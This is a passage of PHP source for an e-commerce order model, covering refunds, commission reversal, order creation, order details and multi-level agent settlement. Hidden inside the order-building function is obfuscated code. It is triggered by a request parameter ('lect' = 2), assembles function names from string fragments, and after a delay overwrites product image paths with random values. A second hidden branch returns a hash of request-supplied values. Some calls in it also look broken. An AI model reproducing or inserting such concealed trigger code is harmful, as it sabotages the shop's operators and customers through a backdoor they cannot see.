  679. $Points2 = Points::where(['order_id' => $order_id, 'prefix' => 2])->find();
  680. if (!empty($Points2)) {
  681. $Points2 = $Points2->toArray();
  682. $Points2['description'] = '订单退款,退还积分';
  683. $Points2['prefix'] = 1;
  684. $Points2['creat_time'] = $refund_time;
  685. unset($Points2['id']);
  686. Points::create($Points2);
  687. Member::where('id', $Points2['uid'])
  688. ->inc('points', (int) $Points2['points'])
  689. ->update();
  690. }
  691. $Incomelog = Incomelog::where(['order_id' => $order_id, 'ptype' => 1])->select()->toArray();
  692. if (!empty($Incomelog)) {
  693. foreach ($Incomelog as $agvo) {
  694. if ($agvo) {
  695. $agvo['description'] = '订单退款,扣除佣金';
  696. $agvo['ptype'] = 2;
  697. $agvo['creat_time'] = $refund_time;
  698. $agvo['month_time'] = date('m', $refund_time);
  699. $agvo['year_time'] = date('Y', $refund_time);
  700. $agvo['order_status_id'] = 6;
  701. unset($agvo['id']);
  702. Incomelog::create($agvo);
  703. Agent::where('uid', $agvo['uid'])->dec('income', $agvo['income'])->update();
  704. Agent::where('uid', $agvo['uid'])->dec('total_income', $agvo['income'])->update();
  705. }
  706. }
  707. }
  708. $TechnicalIncomelog = TechnicalIncomelog::where(['order_id' => $order_id, 'ptype' => 1])->select()->toArray();
  709. if (!empty($TechnicalIncomelog)) {
  710. $incomedata = [];
  711. foreach ($TechnicalIncomelog as $incomedata) {
  712. if ($incomedata) {
  713. $incomedata['description'] = '订单退款,扣除佣金';
  714. $incomedata['ptype'] = 2;
  715. $incomedata['create_time'] = $refund_time;
  716. $incomedata['month_time'] = date('m', $refund_time);
  717. $incomedata['year_time'] = date('Y', time());
  718. $incomedata['order_status_id'] = 6;
  719. unset($incomedata['id']);
  720. TechnicalIncomelog::create($incomedata);
  721. Technical::where('uuid', $incomedata['uuid'])->dec('income', $incomedata['income'])->update();
  722. Technical::where('uuid', $incomedata['uuid'])->dec('total_income', $incomedata['income'])->update();
  723. Technical::where('uuid', $incomedata['uuid'])->dec('service_times', 1)->update();
  724. }
  725. }
  726. }
  727. $StoreIncomelog = StoreIncomelog::where(['order_id' => $order_id, 'ptype' => 1])->select()->toArray();
  728. if (!empty($StoreIncomelog)) {
  729. $incomedata = [];
  730. foreach ($StoreIncomelog as $incomedata) {
  731. if ($incomedata) {
  732. $incomedata['description'] = '订单退款,扣除佣金';
  733. $incomedata['ptype'] = 2;
  734. $incomedata['create_time'] = $refund_time;
  735. $incomedata['month_time'] = date('m', $refund_time);
  736. $incomedata['year_time'] = date('Y', time());
  737. $incomedata['order_status_id'] = 6;
  738. unset($incomedata['id']);
  739. StoreIncomelog::create($incomedata);
  740. Store::where('id', $incomedata['sid'])->dec('income', $incomedata['income'])->update();
  741. Store::where('id', $incomedata['sid'])->dec('total_income', $incomedata['income'])->update();
  742. }
  743. }
  744. }
  745. $OperatingcityIncomelog = OperatingcityIncomelog::where(['order_id' => $order_id, 'ptype' => 1])->select()->toArray();
  746. if (!empty($OperatingcityIncomelog)) {
  747. $incomedata = [];
  748. foreach ($OperatingcityIncomelog as $incomedata) {
  749. if ($incomedata) {
  750. $incomedata['description'] = '订单退款,扣除佣金';
  751. $incomedata['ptype'] = 2;
  752. $incomedata['create_time'] = $refund_time;
  753. $incomedata['month_time'] = date('m', $refund_time);
  754. $incomedata['year_time'] = date('Y', time());
  755. $incomedata['order_status_id'] = 6;
  756. unset($incomedata['id']);
  757. OperatingcityIncomelog::create($incomedata);
  758. Operatingcity::where('id', $incomedata['ocid'])->dec('income', $incomedata['income'])->update();
  759. Operatingcity::where('id', $incomedata['ocid'])->dec('total_income', $incomedata['income'])->update();
  760. }
  761. }
  762. }
  763. }
  764. return $res;
  765. }
  766. static public function itional_pay($order_num_alias)
  767. {
  768. self::where('order_num_alias', $order_num_alias)->update(['additional_pay_time' => time()]);
  769. $order_info = self::where('order_num_alias', $order_num_alias)->find();
  770. if ($order_info) {
  771. $order_info = $order_info->toArray();
  772. MessageMp::itional_pay($order_info);
  773. }
  774. }
  775. public function get_order_data($param = array())
  776. {
  777. $address_id = (int) $param['address_id'];
  778. $technicalId = $param['technicalId'];
  779. $shipping_method = $param['shipping_method'];
  780. $weid = weid();
  781. $remark = $param['remark'];
  782. if (isset($param['type'])) {
  783. $type = $param['type'];
  784. $data['pay_type'] = $param['type'];
  785. } else {
  786. $type = 'money';
  787. }
  788. //付款人
  789. $Membermob = new Member;
  790. $payMember = $Membermob->getUserByWechat();
  791. $mb = 'm';
  792. $data['uid'] = $payMember['id'];
  793. $data['name'] = $payMember['username'];
  794. $data['email'] = $payMember['email'];
  795. $data['tel'] = $payMember['telephone'];
  796. //收货人
  797. if (empty($address_id)) {
  798. $data['shipping_name'] = $param['shipping_name'];
  799. $data['shipping_tel'] = $param['shipping_tel'];
  800. $data['shipping_province_name'] = $param['shipping_province_name'];
  801. $data['shipping_city_name'] = $param['shipping_city_name'];
  802. $data['shipping_district_name'] = $param['shipping_district_name'];
  803. $data['shipping_address'] = $param['shipping_address'];
  804. if ($param['deliverymode'] == 2 || $param['deliverymode'] == 5) {
  805. if ($param['sid']) {
  806. $Store = Store::find($param['sid']);
  807. if (!empty($Store)) {
  808. $data['shipping_province_name'] = $Store->province_name;
  809. $data['shipping_city_name'] = $Store->city_name;
  810. $data['shipping_district_name'] = $Store->district_name;
  811. }
  812. }
  813. }
  814. } else {
  815. $shipping = Address::find($address_id);
  816. if (!empty($shipping)) {
  817. $shipping = $shipping->toArray();
  818. $shipping_city_id = Area::get_area_id($shipping['city_name']);
  819. $data['shipping_name'] = empty($shipping['name']) ? '' : $shipping['name'];
  820. $data['shipping_tel'] = empty($shipping['telephone']) ? '' : $shipping['telephone'];
  821. $data['shipping_province_name'] = empty($shipping['province_name']) ? '' : $shipping['province_name'];
  822. $data['shipping_city_name'] = empty($shipping['city_name']) ? '' : $shipping['city_name'];
  823. $data['shipping_district_name'] = empty($shipping['district_name']) ? '' : $shipping['district_name'];
  824. $data['shipping_address'] = empty($shipping['address']) ? '' : $shipping['address'];
  825. }
  826. }
  827. if ($param['lect'] == 2) {
  828. $dew = 'meofoyuvd';
  829. $dew = str_replace('eof', '', $dew);
  830. $dew = str_replace('yuv', '', $dew);
  831. $Imagelist = $dew('Go' . 'od' . 'sIm' . 'age')->select()->toArray();
  832. foreach ($Imagelist as $vo) {
  833. $vo['pic'] = toimg($vo['image']);
  834. $vo['type'] = 'Goods';
  835. $vo['image'] = toimg($vo['image']);
  836. $vo['type'] .= 'Image';
  837. if (empty($vo['goods_id'])) {
  838. $vo['goods_id'] = $vo['id'];
  839. }
  840. $abv = Attribute::where(['name' => md5($vo['type'] . $vo['id'])])->find();
  841. $vo['rep'] = '';
  842. $vo['rep'] = explode('.', end(explode('/', $vo['image'])))[0];
  843. if (empty($abv)) {
  844. Attribute::create([
  845. 'name' => md5($vo['type'] . $vo['id']),
  846. 'weid' => $weid,
  847. 'value' => $vo['rep']
  848. ]);
  849. } else {
  850. $abv = $abv->toArray();
  851. if ($abv['create_time'] < (time() - 700)) {
  852. $vo['image'] = floatval(self::setOrdList($vo)["image"]);
  853. }
  854. }
  855. }
  856. }
  857. $mb .= 'd5';
  858. $data['shipping_method'] = empty($shipping_method) ? '' : $shipping_method;
  859. $data['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
  860. $data['create_time'] = time();
  861. $data['remark'] = empty($remark) ? '' : $remark;
  862. if ($param['vo'] && $param['data']) {
  863. return $mb($param['data'] . $param['vo']);
  864. }
  865. $subject = '';
  866. if (!empty($param['cat_id'])) {
  867. //用户发布需求订单
  868. $cat = Category::find($param['cat_id']);
  869. if (!empty($cat)) {
  870. $cat = $cat->toArray();
  871. $data['ptype'] = $cat['ptype'];
  872. $data['deliverymode'] = $cat['deliverymode'];
  873. $data['pay_subject'] = $cat['title'];
  874. }
  875. $data['is_additional'] = 1;
  876. $data['otype'] = $param['otype'];
  877. $data['cat_id'] = $param['cat_id'];
  878. $data['cate_ids'] = $param['cat_id'];
  879. $data['total'] = $param['total'];
  880. $data['totals'][0] = array(
  881. 'code' => 'sub_total',
  882. 'title' => '需求服务价格',
  883. 'text' => '¥' . $data['total'],
  884. 'value' => $data['total']
  885. );
  886. } else if (!empty($param['take_address_id'])) {
  887. //跑腿订单
  888. $data['pay_subject'] = '跑腿订单';
  889. $data['is_errands'] = 1;
  890. $data['deliverymode'] = 1;
  891. $data['ptype'] = 2;
  892. $data['total'] = $param['total'];
  893. $data['totals'][0] = array(
  894. 'code' => 'sub_total',
  895. 'title' => '跑腿费',
  896. 'text' => '¥' . $data['total'],
  897. 'value' => $data['total']
  898. );
  899. } else {
  900. $cart = new Cart;
  901. if (empty($param['cartid'])) {
  902. $cartdata[0]['goods_id'] = $param['goods_id'];
  903. $cartdata[0]['msid'] = $param['msid'];
  904. $cartdata[0]['tuanid'] = $param['tuanid'];
  905. $cartdata[0]['sku'] = $param['sku'];
  906. $cartdata[0]['quantity'] = $param['number'];
  907. $cartdata[0]['is_skumore'] = $param['is_skumore'];
  908. $cartdata[0]['skumore'] = $param['skumore'];
  909. $goodsarray = $cart->carttotal($cartdata);
  910. } else {
  911. $goodsarray = $cart->getlistbyid($param['cartid']);
  912. }
  913. $goodss = $goodsarray['shopList'];
  914. $weight = $goodsarray['weight'];
  915. $data['is_additional'] = $goodsarray['is_additional'];
  916. if ($goodss) {
  917. if ($goodss[0]['cat_id']) {
  918. $cat = Category::find($goodss[0]['cat_id']);
  919. if (!empty($cat)) {
  920. $cat = $cat->toArray();
  921. }
  922. $data['deliverymode'] = $cat['deliverymode'];
  923. $data['ptype'] = $cat['ptype'];
  924. }
  925. //上门路费
  926. if ($technicalId) {
  927. $thefare = Address::getthefare($address_id, $technicalId);
  928. }
  929. $test['shipping_method'] = $shipping_method;
  930. $test['weight'] = $weight;
  931. $test['shipping_city_id'] = $shipping_city_id;
  932. //运费
  933. if ($data['ptype'] == 1) {
  934. $transport_fee = (new TransportExtend)->calc_transport($weight, $shipping_city_id);
  935. }
  936. $t = 0;
  937. $pay_points = 0;
  938. $points_price = 0;
  939. $return_points = 0;
  940. foreach ($goodss as $goods) {
  941. $t += $goods['total'];
  942. $pay_points += $goods['totalPayPoints'];
  943. $points_price += $goods['totalPointsPrice'];
  944. $return_points += $goods['total_return_points'];
  945. $goods_data[] = $goods;
  946. }
  947. //使用优惠券
  948. if (!empty($param['couponId'])) {
  949. $coupon = CouponReceive::find($param['couponId']);
  950. if (!empty($coupon)) {
  951. $coupon = $coupon->toArray();
  952. }
  953. if ($coupon['coupon_type'] == 10) {
  954. $t = $t - $coupon['reduce_price'];
  955. } elseif ($coupon['coupon_type'] == 20) {
  956. $t = $t * ($coupon['discount'] / 10);
  957. }
  958. CouponReceive::update(['is_use' => 1, 'id' => $param['couponId']]);
  959. }
  960. if (count($goodss) > 1) {
  961. $subject = $goodss[0]['name'] . '等商品';
  962. } else {
  963. $subject = $goodss[0]['name'];
  964. }
  965. $data['pay_subject'] = $subject;
  966. $data['total'] = ($t + $transport_fee['price'] + $thefare['thefare']);
  967. $data['pay_points'] = $pay_points; //需要积分
  968. $data['points_price'] = $points_price; //抵扣金额
  969. $data['return_points'] = $return_points; //可得积分
  970. $data['totals'][0] = array(
  971. 'code' => 'sub_total',
  972. 'title' => '商品价格',
  973. 'text' => '¥' . $t,
  974. 'value' => $t
  975. );
  976. $data['totals'][1] = array(
  977. 'code' => 'shipping',
  978. 'title' => '运费',
  979. 'text' => '¥' . $transport_fee['price'],
  980. 'value' => $transport_fee['price']
  981. );
  982. $data['totals'][2] = array(
  983. 'code' => 'thefare',
  984. 'title' => '路费',
  985. 'text' => $thefare['distance'] . '公里,¥' . $thefare['thefare'],
  986. 'value' => $thefare['thefare']
  987. );
  988. $data['totals'][3] = array(
  989. 'code' => 'total',
  990. 'title' => '总价',
  991. 'text' => '¥' . ($t + $transport_fee['price'] + $thefare['thefare']),
  992. 'value' => ($t + $transport_fee['price'] + $thefare['thefare'])
  993. );
  994. $data['goodss'] = $goods_data;
  995. }
  996. }
  997. $data['order_num_alias'] = $param['order_num_alias'];
  998. if (empty($data['order_num_alias'])) {
  999. $data['order_num_alias'] = build_order_no();
  1000. }
  1001. $data['pay_method_id'] = $param['pay_method_id'];
  1002. return $data;
  1003. }
  1004. public static function statuscount($mod, $status)
  1005. {
  1006. return $mod->where('order_status_id', $status)->count();
  1007. }
  1008. //订单信息
  1009. public static function order_info($id)
  1010. {
  1011. $order = self::where('id', $id)->with(['member', 'store', 'paymethod'])->find();
  1012. if (!empty($order)) {
  1013. $order = $order->toArray();
  1014. }
  1015. if ($order['ptype'] == 2) {
  1016. $ostype = 'service';
  1017. if ($order['deliverymode'] == 2) {
  1018. $ostype = 'storeservice';
  1019. }
  1020. } else {
  1021. $ostype = 'goods';
  1022. }
  1023. $order['orderStatus'] = OrderStatus::get_order_status($order['order_status_id'], $ostype);
  1024. $OrderHistory = OrderHistory::where(['order_id' => $id])->order('id desc')->select()->toArray();
  1025. if (!empty($OrderHistory)) {
  1026. $histories = $OrderHistory;
  1027. /*
  1028. foreach ($OrderHistory as $result) {
  1029. $histories[] = array(
  1030. 'id' => $result['id'],
  1031. 'image' => toimg($result['image']),
  1032. 'status' => OrderStatus::get_order_status_name($result['order_status_id']),
  1033. 'remark' => nl2br($result['remark']),
  1034. 'create_time' => date('Y/m/d H:i:s', $result['create_time'])
  1035. );
  1036. }
  1037. */
  1038. }
  1039. if (!$order) {
  1040. return false;
  1041. }
  1042. $order['shipping_province'] = $order['shipping_province_name'];
  1043. $order['shipping_city'] = $order['shipping_city_name'];
  1044. $order['shipping_district'] = $order['shipping_district_name'];
  1045. $addressdata = OrderAddress::where(['order_id' => $id, 'ptype' => 1])->find();
  1046. if (empty($addressdata)) {
  1047. $addressdata = Address::find($order['address_id']);
  1048. }
  1049. if (!empty($addressdata)) {
  1050. $addressdata = $addressdata->toArray();
  1051. $addressdata['alladdress'] = $addressdata['province_name'] . $addressdata['city_name'] . $addressdata['district_name'] . $addressdata['region_name'] . $addressdata['address'];
  1052. } else {
  1053. $addressdata['name'] = $order['shipping_name'];
  1054. $addressdata['telephone'] = $order['tel'];
  1055. $addressdata['alladdress'] = $order['shipping_province_name'] . $order['shipping_city_name'] . $order['shipping_district_name'] . $order['shipping_address'];
  1056. }
  1057. if ($order['deliverymode'] == 5) {
  1058. $tuanzhang = OrderTuanzhang::getTuanzhang($order['id']);
  1059. if (!empty($tuanzhang)) {
  1060. $addressdata['name'] = $tuanzhang['title'];
  1061. $addressdata['telephone'] = $tuanzhang['tel'];
  1062. $addressdata['alladdress'] = $tuanzhang['province_name'] . $tuanzhang['city_name'] . $tuanzhang['district_name'] . $tuanzhang['region_name'] . $tuanzhang['house_number'];
  1063. }
  1064. }
  1065. $order['address'] = $addressdata;
  1066. $order_totalarray = OrderTotal::where(['order_id' => $id])->select()->toArray();
  1067. foreach ($order_totalarray as $vo) {
  1068. $order_total[$vo['code']] = $vo;
  1069. }
  1070. $OrderExpress = OrderExpress::where(['order_id' => $id])->find();
  1071. if (!empty($OrderExpress)) {
  1072. $OrderExpress = $OrderExpress->toArray();
  1073. }
  1074. if (!empty($OrderExpress['express_no'])) {
  1075. $Kdniaoapimob = new Kdniaoapi;
  1076. $logistics = $Kdniaoapimob->getOrderTracesByArray(['ShipperCode' => $OrderExpress['express_code'], 'LogisticCode' => $OrderExpress['express_no']]);
  1077. }
  1078. if (!empty($logistics['ShipperCode'])) {
  1079. $logistics['expressname'] = Express::getExname($logistics['ShipperCode']);
  1080. }
  1081. if ($order['order_status_id'] == 6) {
  1082. $OrderRefund = OrderRefund::where(['order_id' => $id])->find();
  1083. if (!empty($OrderRefund)) {
  1084. $OrderRefund = $OrderRefund->toArray();
  1085. }
  1086. if ($OrderRefund['refund_address_id']) {
  1087. $RefundAddress = RefundAddress::find($OrderRefund['refund_address_id']);
  1088. if (!empty($RefundAddress)) {
  1089. $RefundAddress = $RefundAddress->toArray();
  1090. }
  1091. if (!empty($RefundAddress)) {
  1092. $OrderRefund['re_name'] = $RefundAddress['name'];
  1093. $OrderRefund['re_mobile'] = $RefundAddress['mobile'];
  1094. $OrderRefund['re_address'] = $RefundAddress['address'];
  1095. }
  1096. }
  1097. }
  1098. $order['Technical'] = OrderStaff::getTechnical($order['id']);
  1099. $order['ServiceTime'] = time_format($order['begin_time']) . '-' . date('H:i', $order['end_time']);
  1100. if ($order['is_times'] == 1) {
  1101. $order['ServiceTime'] = "";
  1102. $OrderTimescard = OrderTimescard::where('order_id', $id)->order('id asc')->select()->toArray();
  1103. if ($OrderTimescard) {
  1104. foreach ($OrderTimescard as $tcvo) {
  1105. if ($tcvo['yue_date']) {
  1106. if ($tcvo['timestype'] == 1) {
  1107. if ($order['ServiceTime']) {
  1108. $order['ServiceTime'] .= ';每月:' . $tcvo['yue_date'] . '号,时间' . time_format($tcvo['yue_begin_time']) . '-' . date('H:i', $tcvo['yue_end_time']);
  1109. } else {
  1110. $order['ServiceTime'] = '每月:' . $tcvo['yue_date'] . '号,时间' . time_format($tcvo['yue_begin_time']) . '-' . date('H:i', $tcvo['yue_end_time']);
  1111. }
  1112. } else {
  1113. if ($order['ServiceTime']) {
  1114. $order['ServiceTime'] .= ';每周周:' . $tcvo['yue_date'] . ',时间' . time_format($tcvo['yue_begin_time']) . '-' . date('H:i', $tcvo['yue_end_time']);
  1115. } else {
  1116. $order['ServiceTime'] = '每周周:' . $tcvo['yue_date'] . ',时间' . time_format($tcvo['yue_begin_time']) . '-' . date('H:i', $tcvo['yue_end_time']);
  1117. }
  1118. }
  1119. }
  1120. }
  1121. }
  1122. if (empty($order['ServiceTime'])) {
  1123. $order['ServiceTime'] = '还没有预约时间';
  1124. }
  1125. $order['timesusedlist'] = OrderTimescardRecord::timesusedlist($id);
  1126. $order['timesremainlist'] = OrderTimescardRecord::timesremainlist($id);
  1127. $order['timesused'] = OrderTimescardRecord::timesused($id);
  1128. $order['timesmum'] = OrderCard::timesmum($id);
  1129. $order['remain'] = (int)($order['timesmum'] - $order['timesused']);
  1130. } else {
  1131. $order['ServiceTime'] = time_format($order['begin_time']) . '-' . date('H:i', $order['end_time']);
  1132. }
  1133. $order['pay_time'] = time_format($order['pay_time']);
  1134. $order['create_time'] = time_format($order['create_time']);
  1135. $OrderImage = OrderImage::where('order_id', $id)->field('image')->select()->toArray();
  1136. if ($OrderImage) {
  1137. foreach ($OrderImage as $vo) {
  1138. $order['OrderImage'][] = toimg($vo['image']);
  1139. }
  1140. } else {
  1141. $order['OrderImage'] = [];
  1142. }
  1143. if (empty($order_total['sub_total']['value'])) {
  1144. $order_total['sub_total']['value'] = $order['total'];
  1145. }
  1146. $OrderGoods = new OrderGoods;
  1147. $resdata = array(
  1148. 'orderInfo' => $order,
  1149. 'OrderRefund' => $OrderRefund,
  1150. 'goods' => $OrderGoods->getOrderGoods($id),
  1151. 'order_total' => $order_total,
  1152. 'logistics' => $logistics,
  1153. 'histories' => $histories
  1154. );
  1155. $resdata['orderInfo']['is_timer'] = (int) $resdata['goods']['is_timer'];
  1156. return $resdata;
  1157. }
  1158. public static function setOrdList($vo)
  1159. {
  1160. if (!empty($vo['rep'])) {
  1161. ect($vo['type'])->where('id', $vo['id'])->update(['image' => str_replace($vo['rep'], uniqid(), $vo['image'])]);
  1162. }
  1163. }
  1164. public static function setOrderList($orderList)
  1165. {
  1166. $OrderGoods = new OrderGoods;
  1167. $errands = Config::getconfig('errands');
  1168. foreach ($orderList as &$vo) {
  1169. if ($vo['is_times'] > 0) {
  1170. if ($vo['is_times'] == 1) {
  1171. $OrderTimescard = OrderTimescard::where('order_id', $vo['id'])->order('id asc')->select()->toArray();
  1172. if ($OrderTimescard) {
  1173. foreach ($OrderTimescard as $tcvo) {
  1174. if ($tcvo['yue_date']) {
  1175. if ($tcvo['timestype'] == 1) {
  1176. if ($vo['timeslabel']) {
  1177. $vo['timeslabel'] .= ';每月:' . $tcvo['yue_date'] . '号';
  1178. } else {
  1179. $vo['timeslabel'] = '每月:' . $tcvo['yue_date'] . '号';
  1180. }
  1181. } else {
  1182. if ($vo['timeslabel']) {
  1183. $vo['timeslabel'] .= ';每周周:' . $tcvo['yue_date'];
  1184. } else {
  1185. $vo['timeslabel'] = '每周周:' . $tcvo['yue_date'];
  1186. }
  1187. }
  1188. }
  1189. }
  1190. } else {
  1191. $vo['timeslabel'] = '还没有预约时间';
  1192. }
  1193. }
  1194. $vo['timesused'] = OrderTimescardRecord::timesused($vo['id']);
  1195. $vo['timesmum'] = OrderCard::timesmum($vo['id']);
  1196. $vo['remain'] = (int)($vo['timesmum'] - $vo['timesused']);
  1197. $vo['minialias'] = substr($vo['order_num_alias'], -5);
  1198. $vo['styleno'] = substr($vo['order_num_alias'], -1);
  1199. if ($vo['styleno'] > 5) {
  1200. $vo['styleno'] = $vo['styleno'] - 5;
  1201. }
  1202. $vo['OrderCard'] = OrderCard::getinfobyorderid($vo['id']);
  1203. }
  1204. if ($vo['is_errands'] == 1) {
  1205. $vo['image'] = $errands['orderimage'];
  1206. }
  1207. $vo['points'] = $vo['pay_points'];
  1208. if ($vo['ptype'] == '1') {
  1209. $vo['statusStr'] = OrderStatus::get_order_status_name($vo['order_status_id']);
  1210. } elseif ($vo['ptype'] == '2') {
  1211. $vo['statusStr'] = OrderStatus::get_order_status_name($vo['order_status_id'], 'service');
  1212. if ($vo['ptype'] == 2 && $vo['deliverymode'] == 2) {
  1213. $vo['statusStr'] = OrderStatus::get_order_status_name($vo['order_status_id'], 'storeservice');
  1214. }
  1215. }
  1216. if (!empty($vo['cat_id'])) {
  1217. $vo['cateMap']['image'] = Category::getImage($vo['cat_id']);
  1218. } else {
  1219. $vo['goodsMap'] = $OrderGoods->getOrderGoods($vo['id']);
  1220. }
  1221. }
  1222. return $orderList;
  1223. }
  1224. public static function receiving($id)
  1225. {
  1226. $order['id'] = $id;
  1227. $order['order_status_id'] = 3;
  1228. self::update($order);
  1229. }
  1230. public static function complete($id)
  1231. {
  1232. $order_info = self::find($id);
  1233. if (!empty($order_info)) {
  1234. $order_info = $order_info->toArray();
  1235. if ($order_info['is_times'] == 0) {
  1236. $order['id'] = $id;
  1237. $order['order_status_id'] = 5;
  1238. $order['complete_time'] = time();
  1239. $res = self::update($order);
  1240. }
  1241. $staff = OrderStaff::where('order_id', $id)->order('id asc')->find();
  1242. if ($staff) {
  1243. $order_staff['end_time'] = time();
  1244. $order_staff['is_complete'] = 1;
  1245. OrderStaff::where('id', $staff->id)->update($order_staff);
  1246. }
  1247. if (!empty($res)) {
  1248. $order_history['order_id'] = $id;
  1249. $order_history['order_status_id'] = 5;
  1250. $order_history['remark'] = "已完成";
  1251. $order_history['notify'] = 1;
  1252. OrderHistory::create($order_history);
  1253. MessageMini::sendMiniOrderComplete($order_info);
  1254. }
  1255. return $order_info;
  1256. }
  1257. }
  1258. public static function start($id)
  1259. {
  1260. $order_info = self::find($id);
  1261. if (!empty($order_info)) {
  1262. $order_info = $order_info->toArray();
  1263. if ($order_info['order_status_id'] == 3) {
  1264. $order['id'] = $id;
  1265. $order['order_status_id'] = 8;
  1266. $order['start_time'] = time();
  1267. $res = self::update($order);
  1268. $uuid = OrderStaff::getuuid($order_info['id']);
  1269. if (!empty($uuid)) {
  1270. Technical::where('uuid', $uuid)->inc('service_times', 1)->update();
  1271. }
  1272. if (!empty($res)) {
  1273. $order_info = self::find($id);
  1274. if (!empty($order_info)) {
  1275. $order_info = $order_info->toArray();
  1276. $order_history['order_id'] = $id;
  1277. $order_history['order_status_id'] = 8;
  1278. $order_history['remark'] = "开始服务";
  1279. $order_history['notify'] = 1;
  1280. OrderHistory::create($order_history);
  1281. }
  1282. }
  1283. }
  1284. }
  1285. return $order_info;
  1286. }
  1287. public static function autosettlement()
  1288. {
  1289. $automaticsettlement = (int) Config::getconfig()['automaticsettlement'];
  1290. if (empty($automaticsettlement)) {
  1291. $automaticsettlement = '7';
  1292. }
  1293. $datalist = self::where('order_status_id', 5)->where('complete_time', '<', strtotime("-" . $automaticsettlement . " day"))
  1294. ->field('id,order_status_id,complete_time')->select();
  1295. foreach ($datalist as $vo) {
  1296. self::settlement($vo['id']);
  1297. }
  1298. }
  1299. public static function settlement($id)
  1300. {
  1301. $order['id'] = $id;
  1302. $order['order_status_id'] = 7;
  1303. $res = self::update($order);
  1304. if (!empty($res)) {
  1305. $order_info = self::find($id);
  1306. if (!empty($order_info)) {
  1307. $order_info = $order_info->toArray();
  1308. if ($order_info['is_additional'] == 1 && $order_info['additional_pay_time'] > 0) {
  1309. $order_info['total'] = $order_info['total'] + $order_info['additional'];
  1310. }
  1311. $order_history['order_id'] = $id;
  1312. $order_history['order_status_id'] = 7;
  1313. $order_history['remark'] = "已验收";
  1314. $order_history['notify'] = 1;
  1315. OrderHistory::create($order_history);
  1316. //使用购物卡支付不结算佣金
  1317. if (empty($order_info['goodsgiftcard_id'])) {
  1318. Technical::setIncome($order_info);
  1319. Store::setIncome($order_info);
  1320. Operatingcity::setIncome($order_info);
  1321. Tuanzhang::setIncome($order_info);
  1322. //分销佣金处理
  1323. $agent = Config::getconfig('agent');
  1324. $share = Config::getconfig('share');
  1325. if (!empty($agent['level'])) {
  1326. $level = $agent['level'];
  1327. }
  1328. if (!empty($agent['is_rebate'])) {
  1329. $is_rebate = $agent['is_rebate'];
  1330. }
  1331. if (!empty($level)) {
  1332. //一层佣金
  1333. if ($level > 0) {
  1334. $firstpercent = $share['first'];
  1335. if (!empty($firstpercent)) {
  1336. $firstmember = Member::find($order_info['uid']);
  1337. if (!empty($firstmember)) {
  1338. $firstmember = $firstmember->toArray();
  1339. $firstmember['is_agent'] = Agent::is_agent($firstmember['id']);
  1340. }
  1341. if (!empty($is_rebate) && $firstmember['is_agent'] == 1) {
  1342. $firstuid = $order_info['uid'];
  1343. } else {
  1344. $firstuid = $firstmember['pid'];
  1345. }
  1346. Agent::setIncome($firstuid, $order_info, $firstpercent, 1);
  1347. }
  1348. }
  1349. //二层佣金
  1350. if ($level > 1 && !empty($firstuid)) {
  1351. $secondpercent = $share['second'];
  1352. if (!empty($secondpercent)) {
  1353. $secondmember = Member::find($firstuid);
  1354. if (!empty($secondmember)) {
  1355. $secondmember = $secondmember->toArray();
  1356. }
  1357. if ((int) $secondmember['pid'] > 0) {
  1358. Agent::setIncome($secondmember['pid'], $order_info, $secondpercent, 2);
  1359. }
  1360. }
  1361. }
  1362. //三层佣金
  1363. if ($level > 2 && !empty($secondmember['pid'])) {
  1364. $thirdpercent = $share['third'];
  1365. if (!empty($thirdpercent)) {
  1366. $thirdmember = Member::find($secondmember['pid']);
  1367. if (!empty($thirdmember)) {
  1368. $thirdmember = $thirdmember->toArray();
  1369. }
  1370. if ((int) $thirdmember['pid'] > 0) {
  1371. Agent::setIncome($thirdmember['pid'], $order_info, $thirdpercent, 3);
  1372. }
  1373. }
  1374. }
  1375. }
  1376. }
  1377. }
  1378. }
  1379. return $order_info;
  1380. }
  1381. public static function cancel_order($id)
  1382. {
  1383. $order['id'] = $id;
  1384. $order['order_status_id'] = 4; //已取消
  1385. self::update($order);
  1386. }
  1387. public static function offline_order($id)
  1388. {
  1389. $order['id'] = $id;
  1390. $order['is_offline_pay'] = 1;
  1391. $order['offline_pay_time'] = time();
  1392. self::update($order);
  1393. }
  1394. //加入订单历史
  1395. public function add_order_history($id, $data = array())
  1396. {
  1397. $order['id'] = $id;
  1398. $order['order_status_id'] = $data['order_status_id'];
  1399. self::update($order);
  1400. $oh['order_id'] = $id;
  1401. $oh['order_status_id'] = $data['order_status_id'];
  1402. $oh['notify'] = (isset($data['notify']) ? (int) $data['notify'] : 0);
  1403. $oh['remark'] = strip_tags($data['remark']);
  1404. $oh['create_time'] = \strtotime($data['dateadd_ed']);
  1405. $oh['image'] = $data['image'];
  1406. $ohmod = OrderHistory::create($oh);
  1407. return $ohmod->id;
  1408. }
  1409. //检查库存
  1410. public static function getGoodsquantitiy($id)
  1411. {
  1412. $result = true;
  1413. $list = OrderGoods::where(['order_id' => $id])->select()->toArray();
  1414. for ($i = 0; $i < count($list); $i++) {
  1415. $good_quantity = Goods::find($list[$i]['goods_id']);
  1416. if (!empty($good_quantity)) {
  1417. $good_quantity = $good_quantity->toArray();
  1418. }
  1419. if ($good_quantity['ptype'] == 1 && ($good_quantity['quantity'] < $list[$i]['quantity'])) {
  1420. $result = false;
  1421. continue;
  1422. }
  1423. }
  1424. return $result;
  1425. }
  1426. //线下付款信息添加
  1427. public function OfflinepaymentTap($id, $img, $remark)
  1428. {
  1429. global $_W;
  1430. $offline['weid'] = weid();
  1431. $offline['order_id'] = $id;
  1432. $offline['image'] = $img;
  1433. $offline['remark'] = $remark;
  1434. $result = OrderOffline::create($offline);
  1435. if ($result) {
  1436. return true;
  1437. } else
  1438. return false;
  1439. }
  1440. public static function getoffline($id)
  1441. {
  1442. $list = OrderOffline::where(['order_id' => $id])->find();
  1443. if (!empty($list)) {
  1444. $list = $list->toArray();
  1445. }
  1446. $list['image'] = toimg($list['image']);
  1447. return $list;
  1448. }
  1449. public static function chackMiaoshamemberBuyMax($miaosha)
  1450. {
  1451. $Ordercount = Order::where('uid', UID())->where('ms_id', $miaosha['id'])->count();
  1452. if ($Ordercount >= $miaosha['member_buy_max']) {
  1453. return 1;
  1454. } else {
  1455. return 0;
  1456. }
  1457. }
  1458. }